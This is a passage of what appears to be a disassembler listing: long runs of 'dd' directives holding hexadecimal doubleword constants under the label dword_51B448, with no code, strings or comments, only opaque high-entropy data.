dd 4973C1AFh, 1C98AE0Fh, 3BCA8013h, 1DD3BFh, 0D2F0DD85h
dd 8476F4B6h, 335113Bh, 75A6ADA4h, 7763A88Eh, 0C23407D9h
dd 0A312DAFDh, 0D8002823h, 16C4205Ah, 0B0B63E1Ch, 0E57301h
dd 7EB824EFh, 8F38A851h, 3E1D8200h, 4D6C1E3Bh, 20705386h
dd 0A2B7EF82h, 3653D18h, 43495789h, 0D00135D2h, 4A3E803Bh
dd 4BE07B6Dh, 120CA001h, 0DA8F1E61h, 2D40C35Dh, 83005B8h
dd 0A8A02164h, 0DA540096h, 0B4C96FA6h, 4A2872E7h, 0EE499E60h
dd 0D1F58018h, 43EF5A13h, 37F224Ch, 15D64D42h, 8DF028B0h
dd 3F54C309h, 410238B8h, 47AF4E01h, 5D9660BEh, 40751DDEh
dd 493AC111h, 9F2FFCC3h, 7C807748h, 8923BFD4h, 0BD1B0E14h
dd 0AA811557h, 0D81C3238h, 283BC9B2h, 1352805Dh, 0B0C3EBD7h
dd 37770B7h, 2B6D172Eh, 0B5A80E1Ch, 63C4681h, 4B740024h
dd 543B44C6h, 0D4201907h, 0A0A50822h, 0F0002C20h, 0FB4FE3E0h
dd 305BBh, 0DE9CD22Eh, 27FC936Dh, 6541C00h, 886BAEA5h
dd 0B240061h, 92399DD5h, 0F400A4FCh, 7958E663h, 63DCB50Ah
dd 1C513804h, 208FECE2h, 18A62960h, 5E07484Ch, 5F2AAAF8h
dd 215046h, 97ADB143h, 9A211252h, 67DE5E0Fh, 93720011h
dd 3CCBD11Bh, 950E8C68h, 0A260FA87h, 0F0547CB8h, 3FC74E3Ah
dd 8EC09FA8h, 0F7EB7E83h, 96E2A936h, 0E8E71BDCh, 0D27D3Fh
dd 0EFDB451Eh, 9ED02199h, 0BC5AEC03h, 0A804A0E1h, 0CC6254Ch
dd 44AEE4D2h, 0EB449528h, 6C14417h, 8B8024F2h, 1BA40B5h
dd 449D3444h, 0D644E26Bh, 11AFA343h, 835BD28h, 11E092CDh
dd 0FF8917EEh, 23E6800Fh, 0C0F5FC60h, 38CEE49Bh, 573AC9A2h
dd 0F4DAC280h, 0F96E8E9Eh, 1070D500h, 0E8E6DC87h, 85A700ABh
dd 2BAA9DC2h, 34006B89h, 7048EE54h, 0EBFC97h, 90C3D0F0h
dd 969CA8D9h, 0F899E03Eh, 3ECA9100h, 4F9F0D2Fh, 0EB9E007Ah
dd 0FED166BDh, 87178E27h, 19007418h, 0D24AD4AEh, 0EDA30319h
dd 359E8861h, 4D2A1DB8h, 0BA284CE6h, 0D101BC01h, 0A9DDFD07h
dd 0CB3028DBh, 97540056h, 39E65F45h, 85000858h, 0D7DD2747h
dd 729F64A1h, 8602005Ch, 67B33C1Eh, 70C0BB18h, 6A442EB6h
dd 550E007Eh, 2133D738h, 0BB06E6A1h, 9BAC90BDh, 6A010028h
dd 0E4AE752Eh, 2EB88991h, 20530F00h, 7D1F455Eh, 4A6612F0h
dd 0FA080EC6h, 953435C0h, 85F48AA5h, 6FECA200h, 0D0378365h
dd 1AF659h, 54B411C8h, 7498A37Dh, 4AB21E00h, 0D97201D5h
dd 0B5CA170Ch, 491F0076h, 297D6C4Bh, 740E2B7Ah, 1DFB64D4h
dd 9FC1E0ADh, 39FE0083h, 4612A277h, 5D00BF17h, 0D9862CB2h
dd 0DF2313h, 404DE316h, 1FA6486Ah, 9BBA7300h, 90137843h
dd 0AD8B4835h, 1DAB707h, 0AE65308Eh, 0CE007B63h, 0F3271D24h
dd 0F59A872h, 8BBEB70Dh, 9702120h, 0FF0EFD08h, 4EDAE70Bh
dd 0CAE264B0h, 8CC03BC4h, 1816D5h, 7D475F66h, 14F2AD6Eh
dd 0E8210700h, 787F8569h, 4BEA42h, 59106A50h, 0FABD47C5h
dd 0A3D40400h, 0C32C9870h, 0E99000AEh, 2826167Fh, 5500A2B1h
dd 20AC6FEFh, 5A68E4h, 985D6592h, 88D11A61h, 0D8793Bh
dd 30F51BDh, 0A469D4h, 0F3BC3DDCh, 0FDD3AD75h, 0C3B60D01h
dd 2506AF41h, 89ED5880h, 0E9CFBB9h, 0B36C2400h, 72211952h
dd 927404BFh, 80F73D16h, 11BA9699h, 5298A800h, 0CA03B30Bh
dd 4980008Dh, 0DC1226FCh
dword_51B448 dd 282C5D30h, 3403E66Dh, 98F3BF74h, 0F799CCh, 0C3DD980Bh
dd 734FF6D2h, 6BCEC600h, 0FF86A31Bh, 5B74073Ch, 300678FEh
dd 4B54E684h, 0BC427300h, 0F515B209h, 64B0035Ah, 97B61CDAh
dd 0F8C93D98h, 3A00837Fh, 0A586F56Ch, 456F68h, 0A4154FAFh
dd 0D0413BC4h, 72C3E000h, 39195FFDh, 0AE6F00DEh, 8CB0F71Bh
dd 970471EDh, 0CE141677h, 0B3095380h, 9A150EE7h, 4B20BBE9h
dd 609B0F88h, 1400197Fh, 840D95Fh, 3E28AE64h, 0B83C91F6h
dd 0E2C2D700h, 0A970AC76h, 2BA82A00h, 32397915h, 68F30010h
dd 9F5735A4h, 365051D1h, 0E513A188h, 9C004079h, 9D97437Ah
dd 0C4740719h, 90BD0AF6h, 0B99B20ADh, 4218905h, 1EC08ECBh
dd 24F3AAF9h, 385235h, 61970715h, 3C713B6Fh, 0D4C0C1Ch
dd 76E95C40h, 3A67EBBAh, 709C50D8h, 7E4B802Ch, 0C3C58506h
dd 21DE1901h, 0CCDC3094h, 566160h, 7D3AE723h, 0DEE98BECh
dd 3241FF16h, 85DAA900h, 0E6E7E622h, 688762Ch, 9176FDBh
dd 56FA1055h, 64676100h, 73840151h, 0D4B20380h, 33D09AFEh
dd 2AD8E580h, 531D397Eh, 0D580236Fh, 198CE429h, 0C0E8003Fh
dd 3A7424C9h, 9800F1DAh, 0B1EFA055h, 0E6859FDh, 1682AEAAh
dd 0B030B3C0h, 9D00FB57h, 6DE338ECh, 92F715h, 56D2822Dh
dd 1A707A96h, 3408890Fh, 94BD0350h, 4EC1D829h, 0DFCA0043h
dd 0EED76466h, 331EE7A5h, 9340857Dh, 1BB36F23h, 0CFDA0F17h
dd 0FBCFE6E8h, 22C1A9E3h, 0AA853CFAh, 1E5AC009h, 9A0CF899h
dd 28C4BD60h, 51500095h, 0FD14E775h, 34B82631h, 0C5D17A00h
dd 9E0F898Ah, 34442C83h, 75303C5h, 1A8096F1h, 8E3CE4E5h
dd 7393802Dh, 38153C02h, 566807C7h, 709FF225h, 0BC5B474Ch
dd 12F3EB00h, 8DEF747Eh, 0E3770093h, 64E1FC3h, 81005A9Ah
dd 535B61BEh, 77FF082h, 8D1432B1h, 90AE279Dh, 5B0F1BB0h
dd 612AF503h, 0B0183C96h, 94441Fh, 0F86EDEA3h, 9E828C9Fh
dd 5CBB5700h, 0FAA1B9EDh, 35CB0137h, 0E00B6E1Eh, 0E6EAF892h
dd 0C4C33200h, 80E11B9Ah, 4F190744h, 40D1FEA2h, 5940907h
dd 0CC74B37Bh, 873BCF00h, 5BF7CED7h, 734370B1h, 96B21DE0h
dd 0EE8D4002h, 0D08CF97Ah, 2E11E3Eh, 0E7FB79ACh, 27D8A95Dh
dd 1DD0CF34h, 0F0C11B9Fh, 0E0509085h, 0F0A92637h, 467F005Ch
dd 0C986E0Eh, 96002D74h, 0B159A6F2h, 0EEBB38D3h, 0D63902EFh
dd 3ECDBFCEh, 40899C40h, 19E22817h, 3B96D100h, 6C2B10h
dd 1CC8AE0h, 0C424B020h, 9A058300h, 0B4DEC05Fh, 45D80084h
dd 0FF59554Bh, 7000A44Eh, 8ADA9474h, 98768C63h, 5FFCECh
dd 6BCB2B03h, 0CC4C373Dh, 0FA2A3Ah, 0F5D1C1CEh, 3E7C1B44h
dd 7F803839h, 59D39C55h, 40C077F7h, 0C54CA15Fh, 0BA29009Eh
dd 0C9738863h, 45F064AEh, 218DC0F1h, 1BC3F000h, 0F65AE37Bh
dd 14E509FEh, 388F76FFh, 29D7840h, 0DE78564Ch, 8329700h
dd 61B3943Bh, 13E90752h, 40985B4Eh, 3464BA5Ah, 87409639h
dd 62A7BE82h, 0F03759F3h, 0C709EFAh, 57D01417h, 0A9005DC0h
dd 0C21971B4h, 0E35863D7h, 0A5EBECh, 72774134h, 39A41A21h
dd 0BFEE500h, 739479E4h, 44934C35h, 3C37E6C0h, 0C102B6D4h
dd 487BB1E2h, 3AA6E1FCh, 73064730h, 59AF0062h, 4CA5223Fh
dd 7E09CDC8h, 0DEBC5E1Bh, 425D03AAh, 0C1F89863h, 760F7ABEh
dd 0A062D4B5h, 6937EACAh, 82720134h, 991DD9C4h, 0EF30703Bh
dd 0EC313F00h, 0D2CFDF7Ch, 0B2C70047h, 0BA931BC0h, 0D8F133F8h
dd 1A1D92FFh, 42003BBBh, 0A520C097h, 1DF30050h, 0B339C4E4h
dd 0F650496Fh, 0A100AAD0h, 0A972B8A6h, 0A0675D06h, 1D2577A7h
dd 5EC9C6Ch, 80DEFA39h, 600A0160h, 0DAF98960h, 71B126Fh
dd 1A0F7F94h, 80F8F507h, 0B5DD4B8h, 0F34F8200h, 753D1B7Dh
dd 72F3BE6h, 0C2107FB0h, 0DB3C878Ch, 0F97036Ch, 87A70C5Dh
dd 0CF5700DBh, 5E2F5Fh, 0A2AC8F26h, 40EE322h, 0B0688200h
dd 2B87B6F2h, 4D9B00A5h, 0CFFB9B3h, 3503B8ECh, 3E761B77h
dd 0C8509BE6h, 0C990E9h, 52D94F2Fh, 9A473CDDh, 9C633D00h
dd 0B50141BCh, 0FCEE00FDh, 160C8374h, 0A91F80CBh, 7D800BAFh
dd 6436483Fh, 41B60747h, 509670EBh, 0A6BF3077h, 80DC903Fh
dd 0BC2A6832h, 0DA4BBEh, 37D3F6B4h, 65E9C3A4h, 4CF98700h
dd 5EF83A94h, 0EC1100F4h, 139A66FCh, 0C0006C21h, 6E3D8281h
dd 0CBC9E8h, 4669D576h, 17CDF0CEh, 0A066BF00h, 0F145FC73h
dd 860C00D7h, 4C3BF74Eh, 0D0007E9h, 282E37FEh, 1DDD4619h
dd 80CFF451h, 43C920EDh, 0C409BABEh, 126BA7h, 0BD8D5E0Bh
dd 0E111CF96h, 4EAA3CA0h, 0B900BEFBh, 58A0E811h, 0E8BCC4F1h
dd 0A97A0022h, 5485E320h, 31030771h, 40253E01h, 900EA8FAh
dd 0C17200AEh, 0F46C9D39h, 0F70038DBh, 3B314EF3h, 97BD0Ch
dd 76E1E8E7h, 0A02DC2E0h, 0DE9AA502h, 0C0B6DBC0h, 18D6292Dh
dd 85013DDh, 1C00755Fh, 0D2420410h, 7A64024h, 832F3448h
dd 5630402Ch, 9100BF2Bh, 0EDD084DDh, 0DE58A382h, 53C500F9h
dd 49209A62h, 8A8D900h, 55EF83A7h, 528E0006h, 0F02BE3CFh
dd 0F91DA315h, 1B1D6FC4h, 46C99900h, 4CEF98F4h, 74013C08h
dd 0C8C1AA11h, 0CBF3F441h, 7D16CCE6h, 0AB002F99h, 0C59EF13Ch
dd 2128488Fh, 82326A05h, 0CEC41D0Fh, 1620070Eh, 6907EDFh
dd 53614500h, 2A954FC7h, 0BBFB002Dh, 46229AC3h, 0AD008431h
dd 687709C5h, 6BDCBA6h, 0DD2657Dh, 0C700C07Ch, 0A9E61F9Dh
dd 0E46BD6h, 2BE557FFh, 0E9CECF17h, 0CA9D0B00h, 70D0A3D2h
dd 7FD42803h, 0FBBF0098h, 6AC391F7h, 906ECA6Fh, 47BD80A1h
dd 5718E1h, 327D9705h, 4C4F5341h, 0C8A9C400h, 686D87B4h
dd 0E49A0057h, 863EEFACh, 2F385514h, 6E9300D7h, 8D2E68A7h
dd 0ED760095h, 0B5ADF351h, 0E985775h, 1C691A38h, 3318AC38h
dd 0A9C810h, 0D085AAE9h, 5D63007h, 0FE511B0Eh, 0E7B0B83Fh
dd 0A7F7009Fh, 0E9CA665Dh, 6F186814h, 0B4B9E472h, 90ACA340h
dd 0ABEDD4h, 0B5E2A767h, 6BD5E901h, 69794FB8h, 0A0E6E300h
dd 0FF36AE83h, 40263F3Ch, 0DAF11C00h, 85C4DCBBh, 0ABDA1250h
dd 3F5E6900h, 0E1DB6D6Ch, 64AD0122h, 9CB2913Ch, 5634701Ch
dd 1D18A200h, 0FBF64FC2h, 67BA00B3h, 61CE58CDh, 5B009E2Eh
dd 9189C76Eh, 7979A1C8h, 62DB0086h, 49405E9Ch, 0E171F36Fh
dd 0A810EE60h, 6789E2h, 0D1C98326h, 0F4ED8D96h, 540B8800h
dd 3A2F95Ah, 0E26524D0h, 83940310h, 9283C698h, 6E97A4D0h
dd 900091F2h, 8A1AAB30h, 382DE8h, 0C0F22C71h, 0A7987EB7h
dd 3A5CB03h, 1EEB13Ch, 5BDE848h, 0D4D8D2B9h, 0E6149854h
dd 0E09EBBh, 5F328E80h, 8425A6h, 122CD48h, 0B6FEA7EEh
dd 0F79E9103h, 93850BE5h, 1A0C88FBh, 38E2EFh, 35EBA9D2h
dd 1E62310Ah, 13110400h, 5E23BF0Ch, 3719002Ch, 87E99B3h
dd 5A038095h, 67E511EEh, 0C874B38Bh, 5E25C1h, 0BB23FACAh
dd 30EF7607h, 56A25503h, 989181E1h, 264196h, 0F3069AADh
dd 0DA3BB982h, 89AE5E03h, 9EAC9BB1h, 56880008h, 0A2247AF7h
dd 6301BE07h, 4EEF2906h, 0D0CC0D5Ch, 1FD204B6h, 0C07A3826h
dd 0CFE6220h, 7F4FF001h, 0D231870h, 0D60470h, 0D4895EF3h
dd 0AFFF8E95h, 5BA3A00h, 0AED999A1h, 0B0EB2EAAh, 0BFB600A8h
dd 161B415Ch, 3A894558h, 6920006Ah, 8663D91Dh, 48124875h
dd 0B9C7CF1Dh, 0C345BE00h, 20717348h, 81CCA12h, 1F571C01h
dd 0D440E028h, 43A184Fh
dd 3D72420Fh, 0D8F3C0DEh, 0A00CDCAh, 11D523E1h, 1CE9946h
dd 0F7945A98h, 0E96A2AEAh, 0CC50DDBCh, 790F4A1Ah, 60C00F6Ch
dd 75FED04Bh, 1B350061h, 510A7F33h, 0B201D89Fh, 0F30B7153h
dd 0A8D3ED80h, 0EF8CF8h, 0D93FE619h, 5A799C49h, 4E4B4Ch
dd 0F6531875h, 1240C4Ah, 0A73F8011h, 20E7B0C5h, 0B801A1A0h
dd 0C49CC11Ah, 79F81954h, 9A40003Ah, 0B37C03ABh, 6407D38Ch
dd 69FB6EECh, 36BFB2D0h, 0E4CB00E5h, 0F72B6324h, 881EC0EDh
dd 0B34035D3h, 0E0948390h, 41D4CFDh, 4FED4200h, 2A9B6B19h
dd 0A55E7601h, 413B7926h, 178DE4h, 105930B6h, 6ADDCAAh
dd 0A75DE102h, 63FDCE27h, 1D0480ACh, 0F85A07E3h, 0B76E0BFBh
dd 0A78290D0h, 890047DDh, 45E395C3h, 0CCCF74h, 6133B949h
dd 1F4AA442h, 3A6F3D00h, 76E4472Eh, 3B7E7FC9h, 0A91F8488h
dd 4CDD80CEh, 7BB3685Dh, 0BF0B6600h, 27AC2BF0h, 1C740358h
dd 6E4E1F19h, 0D4AE5C80h, 5B00EEFEh, 38DCA6FBh, 261B5h
dd 394CC67Bh, 4B1382FCh, 0A6F9750Bh, 8BDC03A4h, 6D2A88A1h
dd 0D5AC0F08h, 0F7404121h, 37E1AAD3h, 0D7ADD0Eh, 0FD88A0B3h
dd 3BB193Dh, 1D965AE5h, 74905B95h, 9B035FC2h, 0B82CAF50h
dd 9F40F775h, 0E609128Bh, 0C708C044h, 83A8D341h, 4CD97300h
dd 0F6E5BF42h, 587B33h, 274F2CC2h, 6FFE0AC7h, 16346B0Fh
dd 563BA135h, 6AD0FA28h, 0B6F40084h, 0E40E3AC4h, 6871CCDDh
dd 71D8800h, 708F25BAh, 39F4ED92h, 45A00DFh, 0B9DBFB05h
dd 0C9E698F6h, 9B1FD700h, 0AA667865h, 0C24500A6h, 0D34C21F0h
dd 62003E84h, 30AF6ED8h, 6F88D5h, 5B25875Dh, 0A0C49DB5h
dd 18D6F130h, 7D36F583h, 1C10323h, 0F2CDCF7h, 5D1BCF88h
dd 455CE700h, 0B8067B46h, 5BE127DAh, 8C20B4DEh, 0C7731316h
dd 0AD4C4900h, 0E08659h, 0D7074A2Bh, 76B03B4Dh, 409C400h
dd 0E461DC33h, 23832E2Dh, 6E9D005Fh, 96508D7Bh, 1A160D00h
dd 0BC873DD5h, 12A70068h, 8352FC20h, 0B900D3AAh, 0BB4625Eh
dd 0B6652Ah, 80E3093h, 8DEC0F1Bh, 89020F0h, 58A81F4Ah
dd 0E2F717h, 3C1E2A19h, 0C10076DBh, 0C79D4218h, 8F94F2h
dd 32DA4D06h, 34818050h, 191E03E2h, 8E89B30Eh, 0AD08001Bh
dd 7C09A8Bh, 55E78814h, 0F50ED090h, 0EA0C44B8h, 89C9B70h
dd 0F848B7h, 0F1AB6800h, 9D97379Ah, 0B00046B8h, 9E64CAC0h
dd 24082F3Fh, 4085A56h, 20D3AD2Eh, 0F652AA15h, 0B330046h
dd 0FBB47621h, 22012C6Eh, 6CBDF623h, 2FCF71Ch, 2B18004Eh
dd 0F320A42Dh, 4CE03B57h, 69D62500h, 0DB32683h, 0FC70F653h
dd 0EA8C0035h, 515D9377h, 4501386Bh, 0FF08EB13h, 0E2C873D6h
dd 0FC170043h, 0C2D25BE9h, 0BA036DDCh, 0AA139CABh, 2C86FCDBh
dd 0F213A78h, 0EBA21187h, 103530CFh, 3B0734DEh, 2CD6289h
dd 0F0B36040h, 0F8583915h, 9B09AC80h, 5167A43Ah, 3228E00h
dd 1CEFDF4h, 137DEBh, 5A76387Ch, 0DCC1DA69h, 0EC78CB00h
dd 6716B459h, 4E9029h, 0CA883DADh, 0B619824Fh, 0C3605D03h
dd 0B09D9A38h, 0F2F059EAh, 112100E8h, 0C0339B55h, 29009030h
dd 95E722EBh, 0C1B1E8Ch, 1CD0D61Dh, 4FF03610h, 9D80B902h
dd 405072DAh, 0A8AA6Ch, 0CD38437Eh, 0D9983DB3h, 3418D70Fh
dd 656E009Ah, 1F45FD12h, 42BB08A4h, 0B49ED46Fh, 0AA2088h
dd 0AEA135C0h, 5B06EC7Eh, 33B02269h, 3E4270E0h, 138058D4h
dd 0A235CE50h, 743170EEh, 0AAF6A0BDh, 0F79D3880h, 0ADDB6996h
dd 74E48D09h, 67DEC1h, 5CACF1C2h, 71005B3Ah, 7C37BDBh
dd 486A03C5h, 37E8130h, 76F9F5CBh, 801EE179h, 390051DAh
dd 0EE353738h, 0B4ED3845h, 0A09BC80h, 67DA3A36h, 270C500Fh
dd 0C0120049h, 4E3BF1h, 16D633E0h, 4192382Ah, 3197AF12h
dd 0A5D91407h, 0FD1602Ch, 0D32A2556h, 78601AE0h, 6E1E2867h
dd 0B340D78Bh, 0B70C18E2h, 2FF630D2h, 77646629h, 8903E780h
dd 44A1088Eh, 7B847219h, 33A88BBh, 4013CA88h, 67457E07h
dd 861205C1h, 8952A710h, 80F212AAh, 0CED0BFCDh, 0D18E2688h
dd 0C72C44h, 20236A63h, 9CE8696Bh, 184CC200h, 5CC681CDh
dd 7E897CA6h, 0A731005Dh, 0B8B587A8h, 2AEE4184h, 4B6FA003h
dd 0B3C2992Fh, 64C88008h, 83A126F6h, 0B7AB0068h, 0C1B12BE9h
dd 6523ED00h, 96155014h, 7658008Ah, 9F555FA5h, 0E13E42AAh
dd 0FA9016F8h, 0C610607h, 0C0303E47h, 3C9A1B9h, 428BB305h
dd 60F0687Dh, 0D000094Ah, 1D48E84Eh, 7F70EBEh, 1545CFE1h
dd 891408Eh, 3C05A15Ah, 79135BE7h, 0D6C003C4h, 0B12E7Fh
dd 0E69938BEh, 91A8292Dh, 0FC1C21EFh, 0A500E905h, 0A4CCE034h
dd 3071755h, 0DD0CACFDh, 0FCE99849h, 0F54FE061h, 6E02C67Bh
dd 0D024C297h, 0D1CC61FDh, 21216D8h, 0C5A83FB2h, 948013FAh
dd 7C71A31Fh, 72FBD700h, 57ECBEC4h, 0D16E00B5h, 0E6F69AEh
dd 7E003CC5h, 0F74FE80Ch, 0F647EB5Bh, 5054006Bh, 9630A2CAh
dd 3C00E42Eh, 609001D7h, 0F7CEB0Ch, 26E9ADD8h, 0A01D1901h
dd 0D18424FFh, 36CCC354h, 57F68F00h, 1E4ABBA3h, 2C58B894h
dd 1896D080h, 0FD9348FEh, 0EF463300h, 9FF9E77h, 0ADB900C5h
dd 0E598DBE7h, 0C64D754Ah, 7D1B005Ch, 11E015B0h, 6AC803FCh
dd 1D533B1Ah, 66CF0CA8h, 0D80F7A00h, 0F548F159h, 22DA036Eh
dd 0CC1E8842h, 545236D8h, 3FDD8650h, 700063B0h, 0F88F4516h
dd 8DA8E8h, 873CF2C2h, 0E6FBCED6h, 9D6A2F1Fh, 28146BC2h
dd 0BC54E0CAh, 3EC70555h, 4ED18Bh, 66DD86CAh, 7D0005DAh
dd 0E75C3526h, 244BD248h, 8FB0D9h, 0EA19BB1h, 7A00F28Ah
dd 8E507533h, 62DA6Ch, 13856883h, 0EED16721h, 6E48EB00h
dd 2B92D8C0h, 7B2F4CB2h, 5E80EA3Fh, 0F0E94AB9h, 9D13554Bh
dd 880035F1h, 50AA54Fh, 0EFBC0216h, 2B67F04h, 0FEAC42E0h
dd 0D478A91Fh, 6F8C4083h, 0DA680015h, 5D860D85h, 65743228h
dd 72314305h, 5DC2624Eh, 0BFB448CEh, 7C520FDEh, 4BA7D2A8h
dd 2F9A00C8h, 0FE3BA1B3h, 0DE5C00F2h, 0B05F77D0h, 0D4D83A42h
dd 0F8E89530h, 0D5B09FCEh, 3996C000h, 0A0BE3266h, 7B6100CFh
dd 0A4245051h, 209057EEh, 0E06D9810h, 43B89D1Eh, 0D989947Ah
dd 1B1C7CFh, 2488240Fh, 1300A764h, 82A66102h, 5EA9F4h
dd 0C27FB109h, 0B219CE3Bh, 0C868BD00h, 2466336Fh, 8CAF0067h
dd 0BA80A8D7h, 436094C7h, 0C50A2B28h, 69FD005Dh, 71BCAA01h
dd 87132155h, 0A5005A36h, 748509A4h, 19F4DEh, 6F34CA98h
dd 4F439BE9h, 89833Bh, 0CCD250F5h, 0E1CD6BBh, 84573B7Dh
dd 26DA63E2h, 41B5AFC0h, 87D34600h, 623F45D5h, 709E002Ch
dd 305A51E7h, 54FCAB73h, 78960701h, 568A3742h, 74AFD0h
dd 4A3ADB2Dh, 13A3FF79h, 0F278E70Eh, 0EE544ABCh, 5C45C500h
dd 9A7F38h, 9B642123h, 0C2772B8Ch, 73319400h, 8B498536h
dd 0F29900DFh, 4774BE8Ah, 930792FAh, 72AD9DC0h, 7FAEB840h
dd 2EC3B0D3h, 0EA35332h, 0CDA0227Ch, 645E3589h, 9C4CB128h
dd 4A044500h, 0B7D15D30h, 7E1F0E1Bh, 6420C942h, 0EB4FBD2Ah
dd 0F3D90500h, 6A6C3168h, 0A2460074h, 892F294h, 0AB0C11F4h
dd 262891CCh, 0D5100DCh, 99F21DE5h, 9200C913h, 9C68A2BFh
dd 0A69E19h, 7B43F651h, 484DE505h, 0EDEA70EFh, 120BC401h
dd 0C62D681Bh, 21B3DCh, 37299B93h, 88177A6Dh, 6700ADE2h
dd 156E1273h, 0B84C5E69h, 0A28300B6h, 750C7711h, 35009C3Ch
dd 0DDAE9F76h, 3BCB58Dh
dd 9EABB967h, 7EAF9DCDh, 8AD77880h, 0B5007EEAh, 0CE073481h
dd 11C13ACh, 0FDE2AA35h, 0F0B236A9h, 9A00E47Ch, 0BAC19D1Ah
dd 713FFE3h, 0BCC2445Bh, 9F7EAF14h, 4067DF7Ah, 0F1CCBAD1h
dd 0B2004736h, 7ED7913Ch, 3D52F0h, 8BE88138h, 4C587C98h
dd 0D30088EAh, 0BFBD7B92h, 700751AAh, 60509882h, 0FA7A1957h
dd 840736F8h, 6739E2A7h, 78A0A850h, 9CC61EA2h, 0DE01BA5Dh
dd 3DDA4A45h, 5C0DEC46h, 8559F503h, 89E6B2A0h, 0BC409D6Fh
dd 1447AF17h, 0D4F2D6C4h, 1B68A300h, 94A438FEh, 0CE008BFCh
dd 0B1756243h, 1F804556h, 7D93BEE8h, 5ABDC783h, 18982D67h
dd 240594A3h, 1612FB1Bh, 8FDCC5C0h, 85560066h, 9040E2A1h
dd 0A3E72D2h, 65A88097h, 5387BF83h, 0FC0B0029h, 0A369B8EFh
dd 0CF0021B4h, 943C79FBh, 9819ABB7h, 0ECCE000Eh, 9F1A1B4Dh
dd 0E01FE916h, 0F4E8EADBh, 0C8032500h, 0C17019B9h, 2AC00A5h
dd 6111D390h, 4704BEC2h, 0AD8BB873h, 34E484C0h, 12E86Ch
dd 4B0B5A45h, 22669942h, 0E9057EFCh, 0B57B0485h, 26C8F401h
dd 0F4109A94h, 1600B9F8h, 0E69C619Fh, 3E732EEAh, 83F3513h
dd 83305500h, 0CC3DDEC5h, 0A479930Eh, 7A7EC1B8h, 0CC47F9C0h
dd 8AC975B0h, 0F85C0A09h, 0C49F29h, 365289EFh, 0EE0045E1h
dd 684717C6h, 15A1D323h, 0D0B95533h, 32076D01h, 0C830BB91h
dd 3EAEF9Ah, 87009890h, 0D45B3475h, 70220B3h, 0A1276BC3h
dd 0C9E07095h, 9E0910A2h, 80A0B69Bh, 0EA11748Dh, 0B032EAC2h
dd 52B8608Ch, 386D8B17h, 8210C407h, 1A209D49h, 7F92C58Eh
dd 43373F18h, 0DC577F00h, 0F5B5D856h, 0A860E100h, 18957D0Bh
dd 75C20059h, 0CE36801Ah, 357B387Ch, 807B3A3Dh, 5C54ED0Eh
dd 66A348Dh, 6C0F3988h, 43C4844h, 80433A61h, 0CF67069Eh
dd 0E3E1092h, 42014BF7h, 0BAE04F40h, 8800DB16h, 0E7B5FE21h
dd 1F98A1C7h, 80478625h, 53D9ABC8h, 0A61E203Bh, 0A8685BA9h
dd 587524h, 310D2900h, 733B6Ah, 90A02140h, 0A2964333h
dd 3D0F99F8h, 2E7EA170h, 116C839Ch, 0D265C88Ah, 78160008h
dd 0D51EA9BDh, 0B8303395h, 64D6DE07h, 81A6240Bh, 46060AC0h
dd 406B9FDCh, 0F86F325Ch, 3F792705h, 72A07C50h, 293DFF00h
dd 4A9F662h, 22D700D2h, 55D5E2F1h, 0A6005A8Eh, 3A1B63BAh
dd 4C6DA067h, 0C51895E6h, 115C4089h, 27B10A1Eh, 0EF987247h
dd 0AB71C720h, 488300E3h, 387D013Eh, 0C100ACE1h, 0F11A477Fh
dd 1C46BA70h, 7AC71CE0h, 0B368F500h, 380A8C7Ch, 89A79907h
dd 3A010FDh, 1054EC9h, 0E8948685h, 0E0A507CBh, 0FE4CF24Ah
dd 0C0350063h, 9A4EF343h, 0BC3A26E9h, 26D80338h, 0A7F1A8C8h
dd 189420CBh, 2E103B00h, 5E4D6F6h, 12D7740Eh, 1F963C1h
dd 0ABDE14F8h, 0AF1C877h, 0F5244301h, 7BA0ACDFh, 581146DCh
dd 0EE005486h, 4A8B6EBDh, 0FCB2D270h, 6C476800h, 7B4F6A28h
dd 0A3FC01F9h, 0E0CDADFDh, 20D9D4C5h, 0B416A800h, 26C73046h
dd 0D27E0933h, 0C400EF70h, 7D3DC97Bh, 0B87C9F07h, 0F6A0FD92h
dd 266C2A0Fh, 0F701BC8h, 0A88006B2h, 0A79C4718h, 34FE7A00h
dd 0F2427614h, 0FA60006Ch, 3D9ED245h, 0DD0EC0F7h, 4091B8CBh
dd 57054115h, 32F60ED0h, 54411E1Ah, 32CBAB74h, 4AA717C4h
dd 1DEE1900h, 0B830CAB0h, 4ED90E47h, 0F000F7FCh, 0A1FFBB76h
dd 626A7900h, 0D9459F4Ch, 25F83BB3h, 55E30A00h, 0EF21CBF3h
dd 3B504B5Ch, 26240F67h, 0AAC0C0DBh, 764EBA9h, 60F5CA0Dh
dd 1B5880F7h, 1A00540Eh, 973C344Fh, 0C3C46228h, 2FCA8288h
dd 414967E7h, 0C46717A2h, 6B0202DBh, 0AE0BCDF7h, 1098C038h
dd 79870070h, 5025BAEAh, 0A67BFBD6h, 0AF5F3D00h, 0C7364E92h
dd 0EFD10E5Bh, 2E0B242h, 0DE971195h, 1BF38801h, 6DA6160Dh
dd 602BEFE8h, 0B56C80DFh, 0CD00C154h, 0F393431Ah, 0A0896472h
dd 0EED1EDFCh, 927D09DBh, 9CA22DF5h, 5C40A9D0h, 0BC00E1F1h
dd 9917BFB7h, 6AA8F4h, 0C0CBB19Dh, 28ADC3FFh, 653DCA05h
dd 9EC08E32h, 5B0D767h, 0C11172CFh, 5A60C20Dh, 20B63CC1h
dd 0DF031558h, 9EAF778Eh, 0CB59C080h, 3F4E0041h, 0EF7A68FDh
dd 0C1013DB2h, 2B15D7F0h, 0BDEC468Bh, 514C0A2Eh, 87A4FE66h
dd 0C11CAF34h, 0ECFB9E58h, 29000F28h, 6C378A67h, 0E2B3A8h
dd 9E432074h, 0D44958F4h, 36B8D4EDh, 1D00C89Ah, 97CB4416h
dd 98A248h, 8E2EC9CAh, 41598051h, 4F353A00h, 0ABFC712Fh
dd 5E57002Dh, 0A05F031Dh, 8309598Eh, 8882E74Bh, 0A51FBF50h
dd 0B3C33AC4h, 6FEEC080h, 38F10218h, 0E01CAC6Bh, 0FBC0C443h
dd 40E42E94h, 90129200h, 66D39ED4h, 0CF697133h, 5122B010h
dd 2C40D995h, 0CD00240Dh, 879FC9AAh, 26545CEh, 27C01ACFh
dd 28E0D278h, 0DC00B7C6h, 2A025BB6h, 0E0E36F51h, 0D4F707A5h
dd 303DCF15h, 284DEDEAh, 0FB0ABA00h, 1847D01Bh, 626F0035h
dd 84FD0E17h, 0A20206ACh, 0CA0203DEh, 0F0744191h, 1F30E8h
dd 0C648744Dh, 0FC260565h, 23B19C00h, 0D53D5DC5h, 8281A09Eh
